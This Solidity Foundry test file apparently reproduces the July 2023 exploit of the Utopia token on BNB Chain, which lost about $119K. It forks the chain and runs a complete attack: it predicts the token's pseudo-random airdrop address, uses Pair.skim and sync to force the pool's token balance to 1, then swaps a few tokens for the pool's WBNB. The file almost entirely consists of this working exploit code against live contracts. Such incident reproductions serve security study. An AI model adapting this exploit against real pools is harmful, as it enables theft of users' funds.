src/test/2023-07/Utopia_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$119K
8// Attacker : https://bscscan.com/address/0xe84ef3615b8df94c52e5b6ef21acbf0039b29113
9// Attacker Contract : https://bscscan.com/address/0x6191203510c2a6442faecdb6c7bb837a76f02d23
10// Vulnerable Contract : https://bscscan.com/address/0xb1da08c472567eb0ec19639b1822f578d39f3333
11// Attack Tx : https://bscscan.com/tx/0xeb4eb487f58d39c05778fed30cd001b986d3c52279e44f46b2de2773e7ee1d5e
12 
13// @Analysis
14// https://twitter.com/DeDotFiSecurity/status/1681923729645871104
15// https://twitter.com/bulu4477/status/1682380542564769793
16 
17// Similar incident (FFIST) : https://github.com/SunWeb3Sec/DeFiHackLabs#20230720-ffist---business-logic-flaw
18 
19interface IUtopia is IERC20 {
20    function lastAirdropAddress() external view returns (address);
21}
22 
23contract UtopiaTest is Test {
24    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25    IUtopia Utopia = IUtopia(0xb1da08C472567eb0EC19639b1822F578d39F3333);
26    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
27    Uni_Pair_V2 Pair = Uni_Pair_V2(0xfeEf619a56fCE9D003E20BF61393D18f62B0b2D5);
28 
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    function setUp() public {
32        cheats.createSelectFork("bsc", 30_119_396);
33        cheats.label(address(WBNB), "WBNB");
34        cheats.label(address(Utopia), "Utopia");
35        cheats.label(address(Router), "Router");
36        cheats.label(address(Pair), "Pair");
37    }
38 
39    function testExploit() public {
40        deal(address(WBNB), address(this), 0.01 ether);
41        WBNB.approve(address(Router), type(uint256).max);
42        Utopia.approve(address(Router), type(uint256).max);
43        emit log_named_decimal_uint(
44            "Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
45        );
46 
47        WBNBToUtopia();
48        Utopia.transfer(address(Pair), 1);
49 
50        // Setting balance of the pair to 1 by calculating the receiver's address
51        // Two addresses (from, to) in seed calculation must be the same
52        uint256 seed = (uint160(Utopia.lastAirdropAddress()) | uint160(block.number)) ^ uint160(address(Pair))
53            ^ uint160(address(Pair));
54        // tAmount may be 0 or 1
55        address notRandomAirdropAddr = address(uint160(seed | 1));
56 
57        Pair.skim(notRandomAirdropAddr);
58        Pair.sync();
59        Utopia.transfer(address(Pair), 1);
60        Pair.sync();
61        UtopiaToWBNB();
62 
63        emit log_named_decimal_uint(
64            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
65        );
66    }
67 
68    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {}
69 
70    function WBNBToUtopia() internal {
71        address[] memory path = new address[](2);
72        path[0] = address(WBNB);
73        path[1] = address(Utopia);
74        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
75            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
76        );
77    }
78 
79    function UtopiaToWBNB() internal {
80        (uint256 reserveUtopia, uint256 reserveWBNB,) = Pair.getReserves();
81        uint256 amountOut = Router.getAmountOut(32, reserveUtopia, reserveWBNB);
82        Utopia.transfer(address(Pair), 32);
83        Pair.swap(0, amountOut, address(this), new bytes(1));
84    }
85}